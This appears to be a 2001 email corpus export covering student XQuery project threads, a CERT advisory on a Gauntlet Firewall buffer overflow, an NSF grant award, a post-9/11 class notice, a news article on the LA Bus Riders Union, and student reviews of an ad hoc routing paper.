Perhaps Fridays would be better... > > However I can make it. > > ~LIZ > ----- Original Message ----- > From: ""Ian Nathaniel Hobbs"" > To: ""Elizabeth Cash"" > Cc: > Sent: Thursday, September 06, 2001 10:34 AM > Subject: today > > > > > > I have nothing planned today so if you two want to meet at 4 I am cool > > with that. So ya let me know if you guys want to meet, otherwise Ill > > prolly be sitting on my ass doing nothing/looking at the webpages. > > > > Your pathetic leader like person > > > > Ian > > > > > > > > >",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 06 Sep 2001 19:36:13 -0400",CERT Advisory CA-2001-25," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-25 Buffer Overflow in Gauntlet Firewall allows intruders to execute arbitrary code Original release date: September 06, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running the following products that use Gauntlet Firewall * Gauntlet for Unix versions 5.x * PGP e-ppliance 300 series version 1.0 * McAfee e-ppliance 100 and 120 series * Gauntlet for Unix version 6.0 * PGP e-ppliance 300 series versions 1.5, 2.0 * PGP e-ppliance 1000 series versions 1.5, 2.0 * McAfee WebShield for Solaris v4.1 Overview A vulnerability for a remotely exploitable buffer overflow exists in Gauntlet Firewall by PGP Security. I. Description The buffer overflow occurs in the smap/smapd and CSMAP daemons. According to PGP Security, these daemons are responsible for handling email transactions for both inbound and outbound email. On September 04, 2001, PGP Security released a security bulletin and patches for this vulnerability. For more information, please see http://www.pgp.com/support/product-advisories/csmap.asp http://www.pgp.com/naicommon/download/upgrade/upgrades-patch.asp http://www.kb.cert.org/vuls/id/206723 II. Impact An intruder can execute arbitrary code with the privileges of the corresponding daemon. Additionally, firewalls often have trust relationships with other network devices. An intruder who compromises a firewall may be able to leverage this trust to compromise other devices on the network or to make changes to the network configuration. III. Solution Apply a patch Appendix A contains information provided by vendors for this advisory. We will update the appendix as we receive more information. If you do not see your vendor's name, the CERT/CC did not hear from that vendor. Please contact your vendor directly. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Network Associates, Inc. PGP Security has published a security advisory describing this vulnerability as well as patches. This is available from http://www.pgp.com/support/product-advisories/csmap.asp http://www.pgp.com/naicommon/download/upgrade/upgrades-patch.asp References 1. http://www.pgp.com/support/product-advisories/csmap.asp 2. http://www.pgp.com/naicommon/download/upgrade/upgrades-patch.asp 3. http://www.kb.cert.org/vuls/id/206723 _________________________________________________________________ The CERT Coordination Center thanks PGP Security for their advisory, on which this document is based. _________________________________________________________________ Feedback on this document can be directed to the author, Ian A. Finlay. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-25.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History September 06, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBO5gEwAYcfu8gsZJZAQEcjAP+PciEp6xeIK+dGr8Hazin4sXDP9KDYfus FGN38fqzRZhNfA6ReO/9bbQp7pvuijcVB0F9BasNZc3HPTnxFpWaguqgWfNnihnB +JZHzQ4HaK0tLWT4rcorfu7U5sdXz3zHPHkdPX8B4ael0h6XJ9hJ6rq6PMIDww+P DQbVFE886v4= =wcI5 -----END PGP SIGNATURE----- ",0,1 James Cossler ,Michael Crescimanno ,"Fri, 07 Sep 2001 06:20:21 -0400",Re: A new resource for YBI and associates,"Michael We have been watching all of the announcements concerning this initiative with a great deal of excitement and anticipation. Once the cluster goes live, we would like to sit done with you to discuss it and to learn more about your working group. As for GeekPhreak, we love to have you come. Just e-mail the names of those attending and I will make a reservation for them. Jim Michael Crescimanno wrote: > Hi Jim, > > This month YSU will be receiving and setting up a > cluster supercomputer as part of the Ohio Supercomputer Center's > Cluster Ohio Program. As a PI on this grant I would like to invite you > and your partners at the YBI to explore this resource and the > expertise of the members of YSU's Advanced Computation Working Group. > > Part of the suite that comes with the cluster will be a QOS > resource management tool that the OSC has used with commercial customers > on this machines' predecessor. > > We are eager to work with any YBI partners and to that end would > like to send a delegate to the GeekPhreak next Tuesday. Drop me a note > or call to let me know if you and/or your YBI partners > would be interested in having one of us join you on Tuesday. > > Yours, > > Michael > > CC: Gordon Mapley, YSU > > =========================================================================== > Michael Crescimanno mcrescim@cc.ysu.edu > Professor of Physics Tel: (330)-742-7109 > Department of Physics and Astronomy > Youngstown State University Fax: (330)-742-3121 > Youngstown, OH 44555-2001 http://cc.ysu.edu/~mcrescim > ============================================================================ ",0,1 Michael Crescimanno ,"James Cossler , jstraton@ybi.org, mcrescim@cc.ysu.edu","Fri, 07 Sep 2001 12:20:14 -0400",Re: Cluster Supercomputer," Hi Jim, It isn't quite a white paper, but below is a link to the proposal. This has the basic node (SGI dual P3) and interconnect (myrinet and gigE) configuration and talks about the topology a bit. These clusters are pretty standard anymore. http://www.as.ysu.edu/~mcrescim/advancedcomputationWG/proposalosc.html The proposal talks about configuration I and II; what we have chosen to do is to implement both I and II together in the same cluster. I'd be happy to tell you and your CTPO what we know about the configuration now, though in a month or two (after it is installed an running!) we'll have better information. At any rate we really look forward to conversations with you and your CTO on what YSU's cluster supercomputer can do for the YBI. I will get back to you with the name of our delegate to the Phreak by Monday. Be so good as to save a spot for us, and sorry for getting back to you so late! Thanks, michael James Cossler wrote: > Michael > > Is there a white paper or concept brief available on the YSU Advanced > Computation Working Group and the cluster supercomputer? > > My reason for asking is that we have the funding, and are currently > working with others at YSU, to build an advanced computer lab here at > the Incubator. Our Lab, however, was designed by a team of engineers > from IBM to deliver the ideal environment for the development and > testing of new software applications. > > Before the funding can be officially released, both myself and Jim > Straton, the Incubator's CTO, need to submit a formal business plan to > the funding sources. As such, we are hopeful that you can provide us > with more detailed information on your program to see if their might be > a nexus between our lab and your lab. > > Let me know if the information is available. If you are coming to the > mixer next Tuesday, be sure to look Jim and I up. > > Jim ",0,1 Li Chen ,Elizabeth Cash ,"Fri, 07 Sep 2001 16:48:28 -0400",Re: Ace-XQ TEAM. ,"Hi, I put up a web page at http://davis.wpi.edu/dsrg/Ace-XQ2002/index.html with ""Additional Resources"": It includes links (also downloadable .ps, .ppt files) to many resources which may help you to further understand XQuery, the static type checking system, the semantic caching papers to read (in relational context though) and the original system design for the previous version, etc. It is hard to absorb them at once, but you can aim to understand it as much as possible and get back to me with questions... --lily ""A vision without the ability to execute is probably a hallucination."" On Fri, 7 Sep 2001, Elizabeth Cash wrote: > temporarily: > > http://www.wpi.edu/~lizesc/mqp/index.htm > > ~LIZ > ----- Original Message ----- > From: ""Elke A. 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Therefore, you may want to consider copying the lesson study listserv (lessonstudy@listserv.tc.columbia.edu) when posting messages that contain information that might be useful or of interest to others. However, if your response to a message is relevant only to its sender, please respond only to that person. As a member of this list, you must be the judge of what might be useful to share with the other subscribers, and what is more appropriate for private conversations. Thank You, Lesson Study Research Group --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 John Roe ,roe@math.psu.edu,"Tue, 11 Sep 2001 22:08:26 -0400","Class Tomorrow, Wednesday 12th September"," Dear Math230H Students: Today's terrible events have filled us all with disgust. I am shocked and sickened by the wickedness that has been directed towards this country in which I have made my home. In his address to the nation tonight, President Bush stated that the federal government and the country 'will be open for business' tomorrow. In the same spirit, Graham Spanier has directed that Penn State classes should meet at their appointed times. I am therefore writing to tell you that we will meet tomorrow at the appointed time and we will carry on with our business, which is learning calculus. I am however canceling the test scheduled for Thursday, as that sort of pressure is not appropriate at this time. I will let you know later what kind of arrangements I will be making to compensate for the missed test. If you want to donate blood, which is urgently needed, you may do so at the following locations and times: Penn State University Park Campus Wagner Building from 10am-4pm on Wednesday White Building from 10am-4pm on Thursday HUB 10am-4pm Monday (9/17) & Wednesday (9/19) If any of you should be missing a loved one in this tragedy, please accept my deepest sympathy. Yours very sincerely John Roe --------------------------------------------------------------- John Roe, Associate Chair Tel: (814) 865-7527 Penn State Department of Math Office: (814) 865-3845 427 McAllister Building Fax: (814) 865-3735 University Park, PA 16802 Web: www.math.psu.edu/roe ",0,0 """Elke A. Rundensteiner"" ",Elizabeth Cash ,"Wed, 12 Sep 2001 13:00:05 -0400",Ace-XQ,"nice start! like that elephant; probably calling it query caching instead of opt is better as it is more concrete. still need to work on an abstract (as a group). you don't want to have anyone looking at the site to have to go through each week's agenda to figure out status, main documents, and such. so more prominent on the main page, there needs to be urls to the the main issues coming out of each weekly meeting pulled into appropriate main places, such as - reading resources: under one url below. - or, the documents that you work on, as you work on them, such as XQUERY EXAMPLES you collect and you walk through together. link those in as well. - design document - talk; (partial) report as produced per semester. look at another site for other mqp teams for ideas on that. elke ====================================================================== Elke A. Rundensteiner; Associate Professor; Computer Science, DSRG Lab Worcester Polytechnic Institute, 100 Institute Rd, Worcester, MA 01609 rundenst@cs.wpi.edu - phone: (508) 831-5815 - fax: (508) 831-5776 http://www.cs.wpi.edu/~rundenst - http://davis.wpi.edu/~dsrg In message <002801c13bab$dd8f7fa0$7ee2d782@res.WPI.NET> you write: >This is a multi-part message in MIME format. > >------=_NextPart_000_0025_01C13B8A.565C4DE0 >Content-Type: text/plain; > charset=""iso-8859-1"" >Content-Transfer-Encoding: quoted-printable > >Reach Page until change to davis at > >http://www.wpi.edu/~lizesc/mqp/index.htm > >~LIZ > >------=_NextPart_000_0025_01C13B8A.565C4DE0 >Content-Type: text/html; > charset=""iso-8859-1"" >Content-Transfer-Encoding: quoted-printable > > > >charset=3Diso-8859-1""> > > > > >Reach Page until change to davis = >at >  >href=3D""http://www.wpi.edu/~lizesc/mqp/index.htm"">http://www.wpi.edu/~liz= >esc/mqp/index.htm >  >~LIZhref=3D""http://www.wpi.edu""> > >------=_NextPart_000_0025_01C13B8A.565C4DE0-- >",0,1 Li Chen ,Elizabeth Cash ,"Wed, 12 Sep 2001 14:46:39 -0400",Re: Ace-XQ TEAM. ,"I don't know the problem either. Anyway, I am attaching these two papers here, you can grab them, print them out and may make several copies if other team members encounter the same problem... --lily ""Durch Kampf zum Sieg. Durch Nacht zum Licht -- (Through struggle to victory. Through night to the light)."" On Wed, 12 Sep 2001, Elizabeth Cash wrote: > http://davis.wpi.edu/dsrg/Ace-XQ2002/resources/semantic_cachingVLDB96.PDF > http://davis.wpi.edu/dsrg/Ace-XQ2002/resources/typedXquery.pdf > > You were correct, in order to view these you must right click and save > target as... for some reason they do not work well with Internet Explorer, > or my version, or something. > > ~LIZ > ******************************* > Elizabeth Cash > lizesc@yahoo.com*lizesc@wpi.edu > http://www.wpi.edu/~lizesc > ******************************* > ----- Original Message ----- > From: ""Li Chen"" > To: ""Elizabeth Cash"" > Sent: Wednesday, September 12, 2001 2:05 PM > Subject: Re: Ace-XQ TEAM. > > > > > > > > I tried from other machine and what happens seems normal to me, a PDF > > reader displaying the paper (assuming you have an acrobat PDF reader > > installed). > > > > or what you can do is not left click on the link, but use the right button > > on your mouse, and select ""save the link as..."" on the drop-down menu > > > > is this what happened over there? > > > > --lily > > > > ""Durch Kampf zum Sieg. Durch Nacht zum Licht -- > > (Through struggle to victory. Through night to the light)."" > > > > On Wed, 12 Sep 2001, Elizabeth Cash wrote: > > > > > I believe is you try to access it from a machine you will understand, I > > > really don't know what the issue is,... What happens is it downloads the > > > paper (so it seems) but when you try to open the second page it freezes > > > Internet Explorer. Is that what you were looking for? > > > > > > ~LIZ > > > ******************************* > > > Elizabeth Cash > > > lizesc@yahoo.com*lizesc@wpi.edu > > > http://www.wpi.edu/~lizesc > > > ******************************* > > > ----- Original Message ----- > > > From: ""Li Chen"" > > > To: ""Elizabeth Cash"" > > > Sent: Wednesday, September 12, 2001 1:39 PM > > > Subject: Re: Ace-XQ TEAM. > > > > > > > > > > > > > > what do you mean? you can not download that paper? please state it in > > > > detail... > > > > > > > > > > > > --lily > > > > > > > > ""Durch Kampf zum Sieg. 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Sincerely, William Approval Manager ",1,1 """Vincelli, Diana"" ","""Vineyard, Michael"" , ""Gilfoyle, Gerard"" , ""Cooper, William"" , ""Aprille, June"" , ""Newcomb, Andrew"" ","Thu, 13 Sep 2001 16:35:19 -0400","FW: Award Id: 0116349, PI: Vineyard","Finally! We have received the award letter (below) for the NSF-MRI award in Physics! Congratulations to Mike and Jerry and the Physics Department. Diana -----Original Message----- From: Langguth, Carol A. [mailto:clanggut@nsf.gov] Sent: Thursday, September 13, 2001 4:11 PM To: 'dvincell@richmond.edu' Cc: Grzechowiak, John K.; Weatherly, Barbara; Brown, Lawrence S. Subject: Award Id: 0116349, PI: Vineyard Award Date: September 13, 2001 Award No. PHY-0116349 Proposal No. PHY-0116349 Dr. William E. Cooper President University of Richmond Richmond, VA 23173 Dear Dr. Cooper: The National Science Foundation hereby awards a grant of $151,758 to University of Richmond for support of the project described in the proposal referenced above as modified by revised budget dated July 25, 2001. This project, under the direction of Michael F. Vineyard, Gerard P. Gilfoyle, is entitled: ""MRI/RUI: Development of a Computing Cluster to Support the University of Richmond Nuclear Physics Research Program at Jefferson Lab."" This award is effective August 15, 2001 and expires July 31, 2002. This grant is awarded pursuant to the authority of the National Science Foundation Act of 1950 (42 U.S.C. 1861 et seq.) and is subject to Grant General Conditions (GC-1) dated 04/01 and the following terms and conditions: The provisions of NSF 01-07, ""Major Research Instrumentation Program: Instrument Development and Acquisition"" are applicable to this award. As a condition of this award, the Grantee agrees to provide $22,182 cost sharing as specified in the referenced proposal, as shown on Line M of the approved attached budget. Institutional cost sharing must be from non-Federal sources. NSF makes this award with the understanding that the grantee assumes full responsibility for the completion of this project as outlined in the proposal and/or any signed revision thereto, including commitment of grantee funds and other forms of grantee support. The attached budget indicates the amounts, by categories, on which NSF has based its support. The cognizant NSF program official for this grant is Lawrence S. Brown (703) 292-7381. The cognizant NSF grants official contact is Mavis J. Sinkular (703) 292-8213. Sincerely, Carol A. Langguth Grants Officer CFDA No. 47.049 dvincell@richmond.edu PHY-0116349 000 SUMMARY PROPOSAL BUDGET Funds Person MOS granted cal acad sumr By NSF A. (0.00) Total Senior personnel 0.00 0.00 0.00 $0 B. Other Personnel 1. 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Two weeks ago a federal appeals court served up yet another defeat, upholding an order that the authority promptly buy 248 new buses to reduce crowding. Last week the authority said it would appeal that order, arguing that the court is overstepping its bounds. The transit authority's campaign would wear down even the most tenacious litigator, but in this case Goliath faces a David-like foe who was frustrated but, once again, ready. The Bus Riders Union, a grass-roots organization that has pursued the case on a shoestring, prepared to take on its giant nemesis, and to win. ""We had a momentary celebration, because we knew what was coming,"" said Eric Mann, who is co- chairman of the planning committee of the Bus Riders Union. ""When the M.T.A. said they were appealing again, we were prepared. Eventually it has to end."" Michelle Caldwell, a deputy executive director at the M.T.A., as the transit agency is known, expressed begrudging respect for the group and its zeal for a civil rights crusade. ""It just reminds me of the 60's,"" Ms. Caldwell said. ""I don't know how else to put it."" But, Ms. Caldwell added, ""They have been very effective."" The battle began more than a decade ago when the M.T.A., the nation's third largest public transit system, behind New York and Chicago, developed a plan to build a huge subway and light-rail system. The idea was to woo commuters out of their cars with efficient trains and rescue the region from choking sprawl. But the expense was so enormous — one stretch of subway leading downtown cost nearly $500 million a mile — that the plan included cutsdowntown cost nearly $500 million a mile — that the plan included cuts in some bus service. Initially, the agency envisioned a 30-year, $183 billion construction program, before scaling back to a $75 billion, 20-year plan with 95 miles of rail. Most of the rail lines were intended to link middle-class and affluent suburbs to downtown Los Angeles. But it was not just the cost that galvanized the opposition (the rail construction program has been reduced even further since then). Neither was it the question of whether a rail system could work in such a spread-out metropolitan region. Instead, the critical issue was a plan to raise bus fares sharply and eliminate the sale of monthly bus passes, used heavily by workers, immigrants and members of minorities. Mr. Mann, who is also a leader of a workers advocacy group called the Labor Community Strategy Center, said he went to some public hearings to oppose the fare increases because of the impact on the working poor. Being rejected by the M.T.A.'s board, he said, transformed a modest interest into a cause. The Bus Riders Union was born. ""This was as close to class and racial cruelty as I've ever seen,"" Mr. Mann said. The M.T.A.'s policies had a big effect, causing boardings on buses to drop to roughly 340 million a year now from 497 million in 1985. The system has 185 bus routes and nearly 2,000 buses that prowl a region that covers 1,433 square miles. The Bus Riders Union needed legal help, and it eventually found it in the NAACP Legal Defense and Education Fund Inc., a civil rights organization. Lawyers with the fund decided to employ a novel legal theory: that by degrading bus service, which is used heavily by members of minorities and the poor, in favor of rail transit that would have been used by people from the suburbs, the transit agency was engaging in de facto racial discrimination. Because the transit system relies heavily on federal financing, it opened the M.T.A. to a suit in federal court. The fund sued under Title VI of the Civil Rights Act, a statute that had been employed largely in cases involving public education and other public facilities in the South. ""This was the Mississippi model applied to Los Angeles,"" Mr. Mann said. The lawyers for the NAACP Fund found that more than 80 percent of bus riders were minority members and that their average income was extremely low. While the fund's lawyers prepared the legal briefs, the Bus Riders Union collected a huge amount of data on ridership to substantiate discrimination claims. ""They are one of those clients, well, I don't know how to say this, but they're a real grass-roots organization and real close to the streets out there,"" said Erica Teasley, a lawyer for the fund. The M.T.A. was finally pushed into signing a consent decree in 1996 in which it agreed to reduce overcrowding on the battered bus system and improve service, but that began a new series of battles. A federal judge, a special monitor appointed to oversee compliance, and now an appeals court have all found that the agency was not living up to the terms of the decree by not buying enough buses to reduce overcrowding. Among other things, the M.T.A. was also ordered to pay the legal costs of the Bus Riders Union, which have run into millions of dollars. The M.T.A. has argued that the courts are misreading the decree. ""He's not a busing planner,"" Ms. Caldwell said of the federal judge, Terry J. Hatter Jr. ""That's not his area of skill."" She added, ""The point is we can show you we have increased the buses in service as we were required."" Ms. Caldwell said that, in hindsight, the agency should not have signed the decree, in large part because, in her view, the Bus Riders Union would never stop fighting over it. Ms. Teasley, the lawyer for the fund, said, ""The way I see it, there's this big organization, the M.T.A., that's fighting poor people. They signed the decree, it was the right thing to do, and now, six years later, they're saying it was wrong. This is a waste of taxpayers' money."" Mr. Mann acknowledged that his membership, of which about 200 are active, has become worn down and discouraged. ""I just tell them, we keep winning, don't let yourself get too high or too low,"" Mr. Mann said. ""But I think it's an optimistic story. If you see this as a story about democratic theory and not just buses, we're keeping thousands of people who have no voice in the ballgame, and we're winning."" Copyright 2001 The New York Times Company | Privacy Information Record TV without the commercials Digital camera, webcam and camcorder all in the size of a pen A floor lamp that spreads sunshine all over a room A watch that also controls your television? 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In ABR, routes are established on-demand and only the actually desire routes are maintained. ABR selects a route based on nodes having high associativity states that imply high stability. 1. Associativity: A Mobile Host (MH) periodically transmits beacons and updates associativity ticks. If a MH has low associativity ticks, it is supposed to be in a high state of mobility. Otherwise, it is supposed to be in a stable state, which is ideal point to perform routing. 2. Route Selection: A destination node selects a route based on the associativity ticks and hop distance. First, a route with the highest associativity ticks will be selected. If there are multiple routes with the same associativity ticks, the shortest route will be selected. Further, if even distances are the same, then one of the routes will be arbitrarily selected. ABR consists of two phases - Route Discovery Phase and Route Reconstruction Phase. 1. Route Discovery Phase: Initial phase where a route is established. 2. Route Reconstruction Phase: Maintenance phase where topological changes of the network are dealt with. In my opinion, this paper has the following strength and weakness. Strength. 1. Associativity. This paper characterizes the behavior of MHs, defines a new concept 'Associativity' and proposes a new routing algorithm based on that, which gives originality to this paper. 2. Adaptiveness and Scalability. ABR is on-demand and maintains only the information for the desire routes. And route maintenance algorithm allows locally reconstructing sub set of the route, instead of the entire route. So, I think, ABR is adaptive and scalable. Weakness. 1. Associativity ticks. ABR selects the route which has the highest associativity ticks. But, in my opinion, stability may not increase for ever as the associativity ticks increase. If the associativity ticks are too big, it means that a MH stayed at a location for a long time, so it is likely to move soon. I think, more study on the behavior of MHs can leads to a mapping from the associativity ticks to stability. ",0,0 """Virantha N. Ekanayake"" ",egs@CS.Cornell.EDU,"Tue, 18 Sep 2001 03:10:02 -0400",615 PAPER 10,"This paper introduces ABR, an on-demand routing protocol which uses the stability of neighboring nodes to determine the best route. The stability is determined using ""associativity ticks"" -- a count of ""alive"" messages from neighboring nodes greater than a set threshold (determined by the migration speed and transmission distance of the nodes) sets those nodes as active links, and not just a migratory node. Thus, as in TORA, the routes maintained may not be the shortest, but unlike TORA, multiple routes are not maintained. This paper was interesting in that a new metric was used to pick routes, and they actually did an experiment (albeit very simple) to study mobility traces of people occupied in real-world tasks. However, I'm not sure how extensible this protocol is for different varieties of mobile networks. It seems that it's designed for networks that have a few very stable nodes among more mobile nodes; thus the associativity ticks will be able to identify these almost base-station like nodes and route through them to reduce route rediscovery actions. I'm not sure if it will perform as satisfactorily in an environment where all the mobile nodes have high migratory patterns. ",0,0 Xiao-Biao Lin ,all@math.ncsu.edu,"Tue, 18 Sep 2001 08:11:04 -0400",VPI and Putnam math contests,"Hi, please announce this to your undergraduate students and ask them to contact me if they are interested. Remember you are the only mean that the message can be passed to them. The 23rd Annual Virginia Tech Regional Mathematics Contest takes place on Saturday November 3. The contest is open to all undergraduates. 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Panagiotis Papadimitratos papadp@ee.cornell.edu The distinctive feature of ABR, a uni-cast MANET routing protocol, is the use of 'associativity' as a primary metric in order to select more stable and thus long-lived routes. The reactive nature of the protocol and its neighbor discovery mechanism allow fast adaptation to topological changes, by prompt failure (link/path breakage) detection, route maintenance ('reconstruction'), and discarding of stale topology information. A feature of central importance (and, arguably, a disadvantage) of the presented here protocol is its reliance to the data-link layer protocol, and, in particular, the corresponding beaconing scheme that provides the means for the quantitative assessment of the association between two nodes. Each node beacons periodically in order to denote its existence and keeps track of beacons ('ticks') received from other nodes and updates its associativity table (spatial association). The reception of sufficiently many ticks (above some threshold value A_{thr}) allows the node to identify other immediate neighbors it is associated to. The degree of the association is proportional to the number of ticks (temporal association). Each node maintains values for its incident links and resets the table entry when a link failure is detected. During the route discovery process, each node appends ticks for all incident links to the propagating route request packet before re-broadcasting it to its own neighbors. Upon receipt of the query packet, the nodes extract any tick information but the one concerning the link to the upstream node. In that way, the request arrives to the destination carrying the stability information of all links along the traversed path. This information is used by the destination, which makes the route selection among several (possibly) received requests (i.e., accumulated routes). The one with the higher number of presumably stable links is chosen, and if more than one, the minimum-hop route. The route Reply is return to the source along the reverse of the chosen path and this sets the soft state at intermediate nodes, which mark the routes as valid and retain the corresponding route length and upstream and downstream nodes. Often mobility (among other factors) renders links unusable and topology changes are detected by the absence of beacon receptions. If a failing link is part of an active route, the detection can be performed independently of the data transmission. This makes the discarding of stale topology information possible for downstream links as well, in addition to the common propagation of a route error message to the source. Note that the topology information caching is implicit, and refers only to the active routes known to intermediate nodes; to that extent, ABR does not perform caching as DSR does for example. Accordingly, the protocol does not support multiple routes, that could be used, for example, as backup of a failing primary route. Upon a link failure, the upstream node that detects it (pivoting node) initiates a local query, with TTL (or, maximum number of hops to propagate) equal to the length of the now failed route segment to the destination. If this query fails, the protocol backtracks to the predecessor of the pivot, which repeats the same process, and this is repeated until the segment length exceeds the half of the initial route length. On the other hand, if the destination provides a reply to a local query, it returns the best partial route the pivot (which in turn can propagate the route change back to the source, although this is a rigid requirement). The same type of message used for discarding the active routes from intermediate nodes can be used by the source for a route deletion, which can be broadcasted in order to obliterate entries that the source is not aware of due to (partial) route reconstructions. The data forwarding is simplified (e.g., does not require source routing) since intermediate nodes store state information; the packet header contains only the next hop, which is updated en-route. Moreover, passive acknowledgments are used (with the exception of the last node that actively acks). ABR features such as the route reconstruction (RRC) appear to be efficient in theory, but the required evaluation is not provided in the clearest possible way. For example, not only the number of the local queries but also the aggregate imposed overhead should have been presented. Moreover, the RRC-resulting routes are sub-optimal and possibly less stable, with subsequent failures initiating new local queries. In short, the overlapping searches incur delays and could very well end up with backtracking to a broadcast query. All these aspects should have been further explored. On the other hand, the protocol (although it could be placed in a purely ad hoc context) is presented as an extension of an indoor wireless LAN. This reflects on the simulation set up, which resorts to the notion of a wireless cell in order to define the multihop connectivity, and, in general, limits the 'visibility' of the paper. In conclusion, the concept of route stability is highly relevant to the MANET context, and along with other ABR components, constitute an interesting case for an on-demand, reactive routing protocol that could achieve reduced control overhead. ",0,0 Indranil Gupta ,egs@CS.Cornell.EDU,"Tue, 18 Sep 2001 10:41:14 -0400",615 PAPER 10,"--------START------ Associativity-based routing for ad-hoc mobile networks, C.-K. Toh. Reviewer: Indranil Gupta The most novel contribution of this paper is the introduction of ""stability"" of a link as a metric for deciding good routes. The stability of a link is measured by the ""associativity"" between the end points. The algorithms in the paper use the neighbor beaconing from the MAC layer to define a high level of associativity between two nodes only if they have already exchanged more than a threshold number of beacons (""associativity ticks""). These algorithms also fit in well into an infrastructure with a few base stations, as a node will have better associativity with a nearby base station and will use it as a stable next hop. The routing algorithms presented in the paper are reactive, and give more preference to stability of a route than its ""shortness"" or delay. A node requiring a new route to a destination floods out a BQ (broadcast query) message that is propagated along by nodes after adding in associativity and other (delay) information about intermediate links - the destination decides the best route and sends back a reply to the sender. Node movements and link breakages in the upper half of the route are handled by sending a BQ to the destination from the node upstream of the failure - the destination replies back and a the route is repaired. A failure in the lower half of the route is handled by the node upstream of the failure sending a LQ (local query) to the destination with its old hop number (TTL) - the destination replies with a route only if there is an equal or shorter route than the old one. If the destination does not reply, the pivot node hands off the job to its immediate upstream node, which repeats the process (this could go all the way to the source). The algorithm also handles subnet bridging due to node movements, and concurrent node movements. Simulations performed in the paper reveal 1) increasing the degree of a node results in fewer localized queries (LQs) but also in a more sub-optimal route (in terms of length), and 2) routes remain fairly short. Comments: - The idea of using link associativity to obtain stable routes is the best contribution of this paper. The data presented in the paper (from the Active Badge System) is for associativity of users to a base station - this associativity is to be expected. The data provides no justification for using associativity ticks across *pairs* of nodes to decide the stability of a link between two nodes. - Associativity between two mobile nodes depends more on the interference in the area (percentage of beacons received), the relative speeds of the nodes, and the battery lives of the nodes. The paper, in its current form seems to be driven more by developing ad-hoc routing algorithms that will work well when there are base stations around. The performance of these algorithms can thus be improved significantly in an ad-hoc only network. - The policy decisions made in designing the route construction and repair algorithms in the paper are apparently arbitrary. For example, the authors do not seem to explain the significance of the half-way point along a route to change from a localized query to a broadcast query. Potentially, a large number of nodes might have moved and a large number of backtracks might be required to obtain a short route through a localized query - if the shortest route has indeed increased, it would be better to back off faster to the BQ or go with the (worse) route returned by the LQ - this decision could be made by feedback obtained about the localized queries. This is difficult in the current protocol as LQ messages are lost due to the TTL scheme; they could instead be made to reach the destination anyway, and the feedback used to tune the back off decision at the intermediary nodes. --------END------ ",0,0 Ranveer Chandra ,Emin Gun Sirer ,"Tue, 18 Sep 2001 12:09:11 -0400",615 PAPER 10,"Associativity-based Routing for Ad-Hoc Mobile Networks This paper by C K Toh proposes an algorithm for another property desired of routing algorithms in ad hoc networks: route stability. The algorithm uses a measure of associativity ticks to determine the stability of a link. The network is assumed to be more or less stable, more like an office environment. Route decisions are made at the destination: the most stable route is chosen. The main contribution of this paper is the idea of associativity ticks for stability of routes. In fact in a subsequent paper, this idea is stretched further to mark nbrs in degrees of stability based on the number of associativity ticks received. This parameter of the 'degree of route stability' required is then specified by the source of the route. Based on this parameter the route discovery and maintenance takes place. Overall this is an interesting idea where the QoS features of routes are specified. ABR seems to be the only routing protocol that has included a measure of link load among the factors for choosing a route. ABR is a great protocol, but at the expense of more communication. Associativity ticks are extra beacons that waste battery power. Although a study by C K Toh reveals that beaconing does not affect battery life significantly, I still think that messages should be sent only when absolutely necessary. Besides, ABR works fine for more stable networks. It would not work as desired when there is more mobility in the network. ",0,0 Emin Gun Sirer ,egs@CS.Cornell.EDU,"Tue, 18 Sep 2001 13:06:10 -0400",CS615 PAPER 10,">From ramasv@CS.Cornell.EDU Tue Sep 18 11:34:21 2001 >X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 >content-class: urn:content-classes:message >Subject: cs615 PAPER 10 >Date: Tue, 18 Sep 2001 11:34:21 -0400 >X-MS-Has-Attach: >X-MS-TNEF-Correlator: >Thread-Topic: cs615 PAPER 10 >Thread-Index: AcFAVxTlxaeJwKulEdWTbwCQJ5m7oA== >From: ""Venu Ramasubramanian"" >To: ""Emin Gun Sirer"" >X-MIME-Autoconverted: from quoted-printable to 8bit by sundial.cs.cornell.edu id f8IFYLq16986 > >Associativity Based Routing For Ad Hoc Mobile Networks. > > This paper presents an on-demand routing protocol for mobile ad >hoc networks. The two main contributions of this paper include a method >(for the first time) to estimate the stability of a node and to detect >nodes moving in the present vicinity, and to use the stability and other >link metrics such as link capacity etc. to choose the routes. The >stability of the nodes is detected by periodic messages called >associativity ticks. > > The author of this paper claim based on an experiment that in >typical applications of ad hoc network, the nodes are mobile for short >periods of time but remaim stationary for long periods of time between >motion. This corresponds to the random waypoint mobility model used in >simulations. While this may not represent the mobility patterns for >all aplications, giving priority to stable nodes would work quite well 